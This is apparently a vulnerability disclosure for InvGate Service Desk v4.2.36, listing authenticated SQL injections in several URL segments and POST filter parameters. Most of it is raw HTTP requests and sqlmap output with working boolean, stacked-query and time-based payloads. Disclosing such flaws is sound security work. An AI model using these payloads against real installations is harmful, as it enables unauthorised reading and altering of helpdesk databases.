InvGate Service Desk v4.2.36 multiple vulnerabilities http://www.invgate.com/en/service-desk/ http://www.invgate.com/en/service-desk/on-premise-trial/ Invgate Service Desk suffers from many SQL injections as an authenticated, but non-privileged (end-user role) user. Most are also stacked injections, so an attacker also has the ability to modify any of the data in the database. The payloads used to determine exploitability are in the sqlmap payload output, but each was verified to be able to enumerate the current database, current user, and an assortment of other things. These were tested with an ‘end-user’ user. SQL injection in last URI segment when dismissing breaking news (no data, just a POST) : POST /breakingnews/manager/dismiss/breakingnew_id/1 HTTP/1.1 Host: 192.168.1.22 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Cookie: PHPSESSID=0h1m27t02cr3p2fdhfuh0ubpb2 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache Content-Length: 0 sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: URI Parameter: #1* Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://192.168.1.22:80/breakingnews/manager/dismiss/breakingnew_id/1) AND 6658=6658 AND (5746=5746 Type: stacked queries Title: MySQL > 5.0.11 stacked queries Payload: http://192.168.1.22:80/breakingnews/manager/dismiss/breakingnew_id/1); SELECT SLEEP(5)-- Type: AND/OR time-based blind! Title: MySQL > 5.0.11 AND time-based blind! Payload: http://192.168.1.22:80/breakingnews/manager/dismiss/breakingnew_id/1) AND SLEEP(5) AND (9226=9226 ----------------------- SQL injection in 5th URI segment when getting the history of an incident: GET /incident/history/index/incident_id/5/ajax/1 HTTP/1.1 Host: 192.168.1.22 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://192.168.1.22/incident/show/index/id/5 Cookie: PHPSESSID=visagd05r0id09eba8nr64p4b2 Connection: keep-alive sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: URI Parameter: #1* Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://192.168.1.22:80/incident/history/index/incident_id/5) AND 7159=7159 AND (1439=1439/ajax/1 Type: stacked queries Title: MySQL > 5.0.11 stacked queries Payload: http://192.168.1.22:80/incident/history/index/incident_id/5); SELECT SLEEP(5)-- / ajax/1 Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: http://192.168.1.22:80/incident/history/index/incident_id/5) AND SLEEP(5) AND (4123=4123/ajax/1 — ----------------------------------------- SQL injection in two segments when viewing the history of a given incident for a given author GET /incident/history/index/id/5/author_id/3/incident_id/5/ajax/1 HTTP/1.1 Host: 192.168.1.22 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://192.168.1.22/incident/show/index/id/5 Cookie: PHPSESSID=0h1m27t02cr3p2fdhfuh0ubpb2 Connection: keep-alive The injections are in the 7th and 9th segments. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:! --- Place: URI Parameter: #2* Type: boolean-based blind Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE) Payload: http://192.168.1.22:80/incident/history/index/id/5/author_id/3/incident_id/5) RLIKE (SELECT (CASE WHEN (5283=5283) THEN 5 ELSE 0x28 END)) AND (9940=9940/ajax/1 Type: stacked queries Title: MySQL > 5.0.11 stacked queries Payload: http://192.168.1.22:80/incident/history/index/id/5/author_id/3/incident_id/5); SELECT SLEEP(5)-- /ajax/1 Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: http://192.168.1.22:80/incident/history/index/id/5/author_id/3/incident_id/5) AND SLEEP(5) AND (2858=2858/ajax/1 Place: URI Parameter: #1* Type: boolean-based blind Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)! Payload: http://192.168.1.22:80/incident/history/index/id/5/author_id/3) RLIKE (SELECT (CASE WHEN (1161=1161) THEN 3 ELSE 0x28 END)) AND (3766=3766/incident_id/5/ajax/1 Type: stacked queries Title: MySQL > 5.0.11 stacked queries Payload: http://192.168.1.22:80/incident/history/index/id/5/author_id/3); SELECT SLEEP(5)-- / incident_id/5/ajax/1 Type: AND/OR time-based blind! Title: MySQL > 5.0.11 AND time-based blind Payload: http://192.168.1.22:80/incident/history/index/id/5/author_id/3) AND SLEEP(5) AND (6225=6225/incident_id/5/ -------------------------------------- SQL injection vectors within the request to search for your current open requests: POST /incident/list/list/default_filter/5 HTTP/1.1 Host: 192.168.1.22 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://192.168.1.22/incident/list/index/default_filter/5 Content-Length: 674 Cookie: PHPSESSID=visagd05r0id09eba8nr64p4b2 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache post_filter%5Blikes%5D%5Bincidents.title%5D=&post_filter%5Blikes%5D%5Bassigneds.name %5D=&post_filter%5Blikes%5D%5Bassigneds.lastname%5D=&post_filter%5Blikes%5D %5Bcustomers.name%5D=&post_filter%5Blikes%5D%5Bcustomers.lastname%5D=&post_filter %5Blikes%5D%5Bincidents.id%5D=&showGroupTab=&post_filter%5Bor_conditions%5D %5B0%5D%5Bincidents.priority_id%5D%5B%5D=1&post_filter%5Bor_conditions%5D %5B1%5D%5Bincidents.status_id%5D%5B%5D=1&post_filter%5Bor_conditions%5D %5B2%5D%5Bincidents.source_id%5D%5B%5D=1&post_filter%5Border%5D%5B1%5D %5Bcol%5D=incidents.priority_id&post_filter%5Border%5D%5B1%5D%5Bval %5D=DESC&post_filter%5Bor_conditions%5D%5B3%5D%5Bincidents.type_id%5D%5B %5D=1 Within the post_filter[or_conditions] parameters, both the incidents.*_id key and the value are susceptible to SQL injections. Not all of these are needed for a successful request, but this is what the request looks like coming from the browser. An asterisk (*) was used to test the key and value. sqlmap identified the following injection points with a total of 803 HTTP(s) requests: --- Place: (custom) POST Parameter: #2* Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)! Payload: post_filter[likes][incidents.title]=&post_filter[likes] [assigneds.name]=&post_filter[likes][assigneds.lastname]=&post_filter[likes] [customers.name]=&post_filter[likes][customers.lastname]=&post_filter[likes] [incidents.id]=&showGroupTab=&post_filter[or_conditions][0][incidents.priority_id] []=1&post_filter[or_conditions][1][incidents.status_id][]=-5375)) OR (4196=4196)#&post_filter[or_conditions][2][incidents.source_id][]=1&post_filter[order][1] [col]=incidents.priority_id&post_filter[order][1][val]=DESC&post_filter[or_conditions][3] [incidents.type_id][]=1 Type: stacked queries Title: MySQL > 5.0.11 stacked queries! Payload: post_filter[likes][incidents.title]=&post_filter[likes] [assigneds.name]=&post_filter[likes][assigneds.lastname]=&post_filter[likes] [customers.name]=&post_filter[likes][customers.lastname]=&post_filter[likes] [incidents.id]=&showGroupTab=&post_filter[or_conditions][0][incidents.priority_id] []=1&post_filter[or_conditions][1][incidents.status_id][]=1)); SELECT SLEEP(5)-- &post_filter[or_conditions][2][incidents.source_id][]=1&post_filter[order][1] [col]=incidents.priority_id&post_filter[order][1][val]=DESC&post_filter[or_conditions][3] [incidents.type_id][]=1 Type: AND/OR time-based blind! Title: MySQL < 5.0.12 AND time-based blind (heavy query) Payload: post_filter[likes][incidents.title]=&post_filter[likes] [assigneds.name]=&post_filter[likes][assigneds.lastname]=&post_filter[likes] [customers.name]=&post_filter[likes][customers.lastname]=&post_filter[likes] [incidents.id]=&showGroupTab=&post_filter[or_conditions][0][incidents.priority_id] []=1&post_filter[or_conditions][1][incidents.status_id][]=1)) AND 7038=BENCHMARK(5000000,MD5(0x4f7a6550)) AND ((5798=5798&post_filter[or_conditions] [2][incidents.source_id][]=1&post_filter[order][1][col]=incidents.priority_id&post_filter[order][1] [val]=DESC&post_filter[or_conditions][3][incidents.type_id][]=1 Place: (custom) POST Parameter: #1* Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: post_filter[likes][incidents.title]=&post_filter[likes] [assigneds.name]=&post_filter[likes][assigneds.lastname]=&post_filter[likes] [customers.name]=&post_filter[likes][customers.lastname]=&post_filter[likes] [incidents.id]=&showGroupTab=&post_filter[or_conditions][0][incidents.priority_id] []=1&post_filter[or_conditions][1][incidents.status_id-9395) OR (3084=3084)#] []=1&post_filter[or_conditions][2][incidents.source_id][]=1&post_filter[order][1] [col]=incidents.priority_id&post_filter[order][1][val]=DESC&post_filter[or_conditions][3] [incidents.type_id][]=1 Type: stacked queries Title: MySQL > 5.0.11 stacked queries Payload: post_filter[likes][incidents.title]=&post_filter[likes] [assigneds.name]=&post_filter[likes][assigneds.lastname]=&post_filter[likes] [customers.name]=&post_filter[likes][customers.lastname]=&post_filter[likes] [incidents.id]=&showGroupTab=&post_filter[or_conditions][0][incidents.priority_id] []=1&post_filter[or_conditions][1][incidents.status_id); SELECT SLEEP(5)-- ] []=1&post_filter[or_conditions][2][incidents.source_id][]=1&post_filter[order][1] [col]=incidents.priority_id&post_filter[order][1][val]=DESC&post_filter[or_conditions][3] [incidents.type_id][]=1 Type: AND/OR time-based blind Title: MySQL < 5.0.12 AND time-based blind (heavy query - comment) Payload: post_filter[likes][incidents.title]=&post_filter[likes] [assigneds.name]=&post_filter[likes][assigneds.lastname]=&post_filter[likes] [customers.name]=&post_filter[likes][customers.lastname]=&post_filter[likes] [incidents.id]=&showGroupTab=&post_filter[or_conditions][0][incidents.priority_id] []=1&post_filter[or_conditions][1][incidents.status_id) AND 3932=BENCHMARK(5000000,MD5(0x68494a54))#][]=1&post_filter[or_conditions][2] [incidents.source_id][]=1&post_filter[order][1][col]=incidents.priority_id&post_filter[order][1] [val]=DESC&post_filter[or_conditions][3][incidents.type_id][]=1